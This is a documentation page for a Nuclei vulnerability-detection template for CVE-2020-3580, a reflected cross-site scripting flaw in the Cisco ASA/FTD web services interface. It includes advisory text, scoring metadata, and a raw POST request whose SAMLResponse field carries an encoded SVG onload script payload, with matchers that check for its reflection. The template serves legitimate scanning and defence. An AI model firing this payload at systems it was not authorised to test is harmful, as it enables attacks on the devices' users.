Cisco ASA/FTD Software - Cross-Site Scripting
ID: CVE-2020-3580
Severity: medium
Author: pikpikcu
Tags: cve,cve2020,xss,cisco,kev
Description
Section titled “Description”Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software are vulnerable to cross-site scripting and could allow an unauthenticated, remote attacker to conduct attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the reference links.
YAML Source
Section titled “YAML Source”id: CVE-2020-3580
info: name: Cisco ASA/FTD Software - Cross-Site Scripting author: pikpikcu severity: medium description: | Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software are vulnerable to cross-site scripting and could allow an unauthenticated, remote attacker to conduct attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the reference links. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Apply the latest security patches or updates provided by Cisco to mitigate this vulnerability. reference: - https://twitter.com/ptswarm/status/1408050644460650502 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe - https://nvd.nist.gov/vuln/detail/CVE-2020-3580 - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors - https://github.com/r0eXpeR/supplier classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2020-3580 cwe-id: CWE-79 epss-score: 0.97074 epss-percentile: 0.99768 cpe: cpe:2.3:o:cisco:firepower_threat_defense:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: cisco product: firepower_threat_defense tags: cve,cve2020,xss,cisco,kev
http: - raw: - | POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
SAMLResponse=%22%3E%3Csvg/onload=alert(/{{randstr}}/)%3E
matchers-condition: and matchers: - type: word part: body words: - '<svg/onload=alert(/{{randstr}}/)>'
- type: word part: header words: - "text/html"
- type: status status: - 200# digest: 4a0a00473045022100f08559cccc3959024f14288db86700dc676636b936ca95faa75fdf5f4287586e022050dc32284d954a61734032bdcbdd3635552774be8ed355d30d8d553769e47f8b:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-3580.yaml"